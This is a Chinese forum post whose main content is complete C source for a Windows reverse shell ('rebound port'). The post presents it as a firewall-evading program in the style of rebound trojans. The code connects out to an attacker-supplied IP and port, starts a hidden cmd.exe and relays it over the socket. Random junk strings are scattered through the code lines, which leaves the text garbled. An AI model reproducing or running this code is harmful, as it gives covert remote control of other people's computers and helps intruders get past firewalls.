社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3421阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u4 ##*m  
S8 +GM  
/* ============================== 99GzhX_  
Rebound port in Windows NT 0L3v[%_j"  
By wind,2006/7 x+?P/Ckg  
===============================*/ L>4!@L5)  
#include S;pKL,d>r  
#include ^[]q/v'3m!  
_gAU`aO^  
#pragma comment(lib,"wsock32.lib") R07 7eX  
l* ~".q;S  
void OutputShell(); dj>ZHdTn  
SOCKET sClient; ]yc&ffe%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6N7^`ghTf  
FU;b8{Y  
void main(int argc,char **argv) 2n/cq K   
{ $K_G|Wyi  
WSADATA stWsaData; ^0 zWiX  
int nRet; _J|cJ %F>%  
SOCKADDR_IN stSaiClient,stSaiServer; |f9fq~'1e  
~353x%e'  
if(argc != 3) %(f&).W  
{ dA[MjOd3  
printf("Useage:\n\rRebound DestIP DestPort\n"); L?aaR %6#  
return; tc.`P]R   
} FLWQY,  
MST\_s%[  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^p@R!228  
=g]Ln)jc  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l"T{!Oq  
17hFwo`  
stSaiClient.sin_family = AF_INET; J5i$D0K[  
stSaiClient.sin_port = htons(0); o@o0V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8-f2$  
1[? xU:;9  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |sG@Ku7~4  
{ Bu%TTbnz_G  
printf("Bind Socket Failed!\n"); /'yi!:FZFC  
return; Iu3*`H  
} F<W`zQ46  
:6N'%LKK  
stSaiServer.sin_family = AF_INET; h'QEwW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d]fo>[%Xr  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ")gd)_FOS  
GjHV|)^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ap 5D6y+  
{ .}xF2'~E/  
printf("Connect Error!"); mVSaC  
return; { \r1A  
} QTy xx  
OutputShell(); /o/0 9K  
} ">-mZ'$#L  
<B3v4 f  
void OutputShell() /,tQdD&  
{ ('9LUFw\  
char szBuff[1024]; >Rnj6A|Q  
SECURITY_ATTRIBUTES stSecurityAttributes; FQ" ;v"  
OSVERSIONINFO stOsversionInfo; l.Psh7B2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ".@}]z8  
STARTUPINFO stStartupInfo; nQ\)~MKd  
char *szShell; 'N7AVj  
PROCESS_INFORMATION stProcessInformation; r[u@ [  
unsigned long lBytesRead; vk^/[eha  
;z>?- j  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z`W @Od$f  
v/1&V+"^kd  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eD#R4  
stSecurityAttributes.lpSecurityDescriptor = 0; %-A#7\  
stSecurityAttributes.bInheritHandle = TRUE; {}Q A#:V  
BAJEn6f?  
*[@k=!73  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y*f 5_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q?1' JF!G  
S4'\=w #  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |Z"5zL10  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r@|{mQOxa  
stStartupInfo.wShowWindow = SW_HIDE; r )pg9}+  
stStartupInfo.hStdInput = hReadPipe; w^rINPAS  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h 8ND=(  
MDyPwv\  
GetVersionEx(&stOsversionInfo); )/B' ODa  
hwon ^?  
switch(stOsversionInfo.dwPlatformId) o<J_?7c~}  
{ |= xK-;qs  
case 1: 6wmMg i_m  
szShell = "command.com"; tB,1+I=   
break; t%B ,ATW  
default: L,KK{o|Eq  
szShell = "cmd.exe"; =9LeFrz  
break; Ah|,`0dw  
} 8/tvS8I#y  
_NkVi_UX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9=-d/y?  
qYwEPGa\  
send(sClient,szMsg,77,0); O<:"Irq\qr  
while(1) [|:kS  
{ ]O\m(of R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DbL=2  
if(lBytesRead) XSw!_d  
{ CP%?,\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bPe|/wp  
send(sClient,szBuff,lBytesRead,0); jRhOo% p  
} gM5`UH|  
else e 1 yvvi  
{ (F wWyt  
lBytesRead=recv(sClient,szBuff,1024,0); NrNxI'M G  
if(lBytesRead<=0) break; ++Z,U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &~6W!w  
} F5Xj}`}bq  
} OJ/l}_a  
`Dn"<-9:  
return; O%Mi`\W@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八